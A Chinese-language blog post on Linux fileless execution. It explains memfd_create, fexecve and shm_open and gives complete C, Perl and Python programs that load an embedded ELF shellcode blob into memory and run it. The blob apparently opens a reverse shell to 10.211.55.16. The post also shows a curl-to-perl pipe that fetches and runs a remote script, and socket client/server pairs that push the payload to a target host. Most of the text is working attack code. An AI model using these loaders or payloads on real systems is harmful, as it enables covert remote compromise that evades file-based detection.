Linux无文件执行
January 15, 2021 Linux 访问: 115 次
无文件执行
memfd_create
该函数是用来创建一个匿名的文件,头文件是#include <sys/mman.h>
参数一:创建文件的名字
参数二:<linux/memfd.h>
MFD_CLOEXEC
在新文件上设置close-on-exec(FD_CLOEXEC)标志描述符
MFD_ALLOW_SEALING
允许对此文件进行密封操作。
MFD_HUGETLB (since Linux 4.14)
匿名文件将在hugetlbfs中创建
文件系统使用巨大的页面
MFD_HUGE_2MB, MFD_HUGE_1GB, ...
与MFD_HUGETLB一起用于选择替代方案上的hugetlb页大小(分别为2 MB、1 GB…)支持多种hugetlb页面大小的系统。
header file <linux/memfd.h>
fexecve
glibc
从2.3.2
版本开始提供fexecv()
函数,它与execve()
的区别在于,第一个参数使用的是打开的文件描述符,而非文件路径名。
#include <unistd.h>
int fexecve(int fd, char *const argv[], char *const envp[]);
用法:
char *argv[] = {"/bin/sh",NULL};
char *env[] = {NULL};
int fd,fd_2;
fd_2 = syscall(SYS_memfd_create,FILENAME,MFD_CLOEXEC);
fexecve(fd_2,argv,env);
操作/dev/shm目录
/dev/shm
这个目录其实是ARM,我们可以直接在内存上创建文件,然后去执行
memfd_create配合fexecve
memfd_create
该函数只是存在于内核在3.17或者更高的版本中
//gcc exp.c -o exp
#include<stdio.h>
#include<sys/sendfile.h>
#include<stdlib.h>
#include<strings.h>
#include <unistd.h>
#include<fcntl.h>
#include <errno.h>
#include<sys/syscall.h>
#include <linux/memfd.h>
#include <sys/stat.h>
#define FILENAME "no_elf"
#define PAYLOAD "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3e\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\xfa\x00\x00\x00\x00\x00\x00\x00\x7c\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x85\xc0\x78\x51\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00\x11\x5c\x0a\xd3\x37\x10\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58\x6a\x01\x5f\x0f\x05\x5e\x6a\x26\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff\xe6"
#define SIZE 0x100
int main()
{
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
int fd,fd_2,filesize;
char *data;
char *argv[] = {NULL};
char *env[] = {NULL};
printf("pid,%d",getpid());
fd_2 = syscall(SYS_memfd_create,FILENAME,MFD_CLOEXEC);
write(fd_2,PAYLOAD,SIZE);
fexecve(fd_2,argv,env);
free(data);
return 0;
}
终端运行exp,会显示一个pid,查看该进程的cmdline,发现无
shm_open配合fexecve
该函数最主要的操作也是默认的操作就是在/dev/shm/
下面,建立一个文件
参数一:文件名
参数二:以什么样的方式返回一个文件指针
参数三:以什么权限创建文件
shm_open
更通用一些,没有linux版本限制
exp:
#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <fcntl.h>
#define FILENAME "no_elf"
#define PAYLOAD "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3e\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\xfa\x00\x00\x00\x00\x00\x00\x00\x7c\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x85\xc0\x78\x51\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00\x11\x5c\x0a\xd3\x37\x10\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58\x6a\x01\x5f\x0f\x05\x5e\x6a\x26\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff\xe6"
#define SIZE 0x100
int main()
{
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
printf("pid,%d",getpid());
int fd;
char *argv[] = {NULL};
char *env[] = {NULL};
fd = shm_open(FILENAME,O_RDWR|O_CREAT,0777);
if(fd<0)
{
printf("shm_open error!");
}
write(fd,PAYLOAD,SIZE);
close(fd);
fd = shm_open(FILENAME,O_RDONLY,0);
fexecve(fd,argv,env);
return 0;
}
效果和第二种方法一样
需要注意一点的是,当我们第一次通过
shm_open
来打开一个fd的时候,紧接着执行fexecve
会出现Text file busy
,所以我们需要关闭fd,重新以O_RDONLY
方式来打开
假如fexecve不存在
可以自己写一个实现相同功能的函数
int my_fexecve (int fd, char **arg, char **env) {
char fname[1024];
snprintf (fname, 1024, "/proc/%d/fd/%d", getpid(), fd);
return execve (fname, arg, env);
}
Perl环境下进行无文件执行
先利用perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' ./shell.elf
生成payload的perl的代码
perl 代码:
my $name = "";
my $fd = syscall(319, $name, 1);
if (-1 == $fd) {
die "memfd_create: $!";
}
open(my $FH, '>&='.$fd) or die "open: $!";
select((select($FH), $|=1)[0]);
print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e00010000007800400000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/4000000000000000000000000000000000000000400038000100000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0100000007000000000000000000000000004000000000000000400000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/fa000000000000007c0100000000000000100000000000004831ff6a095899b6/ or die qq/write: $!/;
print $FH pack q/H*/, q/104889d64d31c96a22415ab2070f054885c078516a0a4159506a2958996a025f/ or die qq/write: $!/;
print $FH pack q/H*/, q/6a015e0f054885c0783b489748b90200115c0ad33710514889e66a105a6a2a58/ or die qq/write: $!/;
print $FH pack q/H*/, q/0f05594885c0792549ffc97418576a23586a006a054889e74831f60f0559595f/ or die qq/write: $!/;
print $FH pack q/H*/, q/4885c079c76a3c586a015f0f055e6a265a0f054885c078edffe6/ or die qq/write: $!/;
exec {"/proc/$$/fd/$fd"} "test_1", "-addr", "4444" or die "exec: $!";
chomp (my $one=<STDIN>);
curl配合perl代码执行
将上面的perl的代码放到远程服务器上
curl 10.211.55.16:8888/my_shell.pl | perl
Python环境下进行无文件执行
其实还是通过python来执行memfd_create
函数
python代码:
import os
import ctypes
payload = "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3e\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\xfa\x00\x00\x00\x00\x00\x00\x00\x7c\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x85\xc0\x78\x51\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00\x11\x5c\x0a\xd3\x37\x10\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58\x6a\x01\x5f\x0f\x05\x5e\x6a\x26\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff\xe6"
fd = ctypes.CDLL(None).syscall(319,"no_elf",1)# memfd_create
pid = os.getpid()
print pid
file_fd = open('/proc/self/fd/'+str(fd),'wb')
file_fd.write(payload)
file_fd.close()
os.execl("/proc/self/fd/"+str(fd),'','')
实现效果和第二种一样
Python环境下利用socket发送payload
服务端:
#!/usr/bin/python3
import socket
from my_print import print_log
payload = "7f454c4602010100000000000000000002003e0001000000780040000000000040000000000000000000000000000000000000004000380001000000000000000100000007000000000000000000000000004000000000000000400000000000fa000000000000007c0100000000000000100000000000004831ff6a095899b6104889d64d31c96a22415ab2070f054885c078516a0a4159506a2958996a025f6a015e0f054885c0783b489748b90200115c0ad33710514889e66a105a6a2a580f05594885c0792549ffc97418576a23586a006a054889e74831f60f0559595f4885c079c76a3c586a015f0f055e6a265a0f054885c078edffe6"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0)
s.bind(("0.0.0.0",9999))
print_log(s.getsockname(),2)
s.listen(5)
client_socket, addr = s.accept()
print("client info:",end="")
print_log(addr,1)
client_socket.send(payload.encode("utf-8"))#发送一句话
client_socket.close()
s.close()
'''
\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3e\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\xfa\x00\x00\x00\x00\x00\x00\x00\x7c\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x85\xc0\x78\x51\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00\x11\x5c\x0a\xd3\x37\x10\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58\x6a\x01\x5f\x0f\x05\x5e\x6a\x26\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff\xe6
'''
靶机:
import os
import ctypes
import socket
import binascii
s = socket.socket()
s.bind(('0.0.0.0',12345))
print(s.getsockname())
s.connect(('10.211.55.2',9999))
payload = s.recv(500)
s.close()
payload = binascii.a2b_hex(payload)
fd = ctypes.CDLL(None).syscall(319,"no_elf",1)# memfd_create
pid = os.getpid()
print(pid)
file_fd = open('/proc/self/fd/'+str(fd),'wb')
file_fd.write(payload)
file_fd.close()
os.execl("/proc/self/fd/"+str(fd),'','')
首先现在服务端把socket服务启动,然后再靶机上运行该脚本即可无文件运行
C语言环境下利用socket发送payload
服务端:
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/syscall.h>
#include<linux/memfd.h>
#include<sys/stat.h>
#include<sys/socket.h>
#include<arpa/inet.h>
#define PAYLOAD "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3e\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\xfa\x00\x00\x00\x00\x00\x00\x00\x7c\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x85\xc0\x78\x51\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00\x11\x5c\x0a\xd3\x37\x10\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58\x6a\x01\x5f\x0f\x05\x5e\x6a\x26\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff\xe6"
#define SIZE 0x100
#define PORT 12345
int main()
{
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
int s = socket(AF_INET,SOCK_STREAM,0);
int return_val=0;
if(s == -1)
{
puts("socket error!");
exit(0);
}
struct sockaddr_in server_info;
memset(&server_info,0,sizeof(struct sockaddr_in));
server_info.sin_family = AF_INET;
server_info.sin_port=htons(PORT);
server_info.sin_addr.s_addr=inet_addr("0.0.0.0");
return_val = bind(s,(struct sockaddr *)&server_info,sizeof(struct sockaddr_in));
if(return_val == -1)
{
printf("bind error!");
exit(0);
}
return_val = listen(s,5);
if(return_val == -1)
{
printf("listen error!");
exit(0);
}
struct sockaddr_in client_info;
memset(&client_info,0,sizeof(struct sockaddr_in));
int client_info_len=sizeof(struct sockaddr_in);
int c = accept(s,(struct sockaddr *)&client_info,&client_info_len);
if(c == -1)
{
printf("accept error!");
exit(0);
}
printf("成功接收到一个客户端:%s:%d\n", inet_ntoa(client_info.sin_addr),ntohs(client_info.sin_port));
return_val = send(c,PAYLOAD,SIZE,0);
if(return_val == -1)
{
printf("send error!");
exit(0);
}
printf("send success!");
close(c);
close(s);
return 0;
}
靶机:
#include<sys/socket.h>
#include<arpa/inet.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>//close
#include<sys/syscall.h>
#include<linux/memfd.h>
#include<sys/stat.h>
#define FILENAME "no_elf"
#define SIZE 0x100
int main()
{
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
struct sockaddr_in server_info,client_info;
int return_val=0;
memset(&server_info,0,sizeof(struct sockaddr_in));
memset(&client_info,0,sizeof(struct sockaddr_in));
server_info.sin_family=AF_INET;
server_info.sin_port = htons(12345);
server_info.sin_addr.s_addr = inet_addr("10.211.55.7");
client_info.sin_family=AF_INET;
client_info.sin_port = htons(10086);
client_info.sin_addr.s_addr = inet_addr("0.0.0.0");
int s = socket(AF_INET,SOCK_STREAM,0);
if(s == -1)
{
puts("socket error!");
exit(0);
}
return_val = bind(s,(struct sockaddr *)&client_info,sizeof(struct sockaddr_in));// set port
if(return_val == -1)
{
printf("bind error!");
exit(0);
}
return_val = connect(s,(struct sockaddr *)&server_info,sizeof(struct sockaddr_in));
if(return_val == -1)
{
printf("connect error!");
exit(0);
}
printf("connect success!\n");
char *message = malloc(SIZE);
recv(s,message,SIZE,0);
int fd,fd_2,filesize;
char *argv[] = {NULL};
char *env[] = {NULL};
printf("pid,%d",getpid());
fd_2 = syscall(SYS_memfd_create,FILENAME,MFD_CLOEXEC);
write(fd_2,message,SIZE);
fexecve(fd_2,argv,env);
close(s);
}
referer
linux一种无文件后门技巧
memfd_create(2) — Linux manual page
Linux系统内存执行ELF的多种方式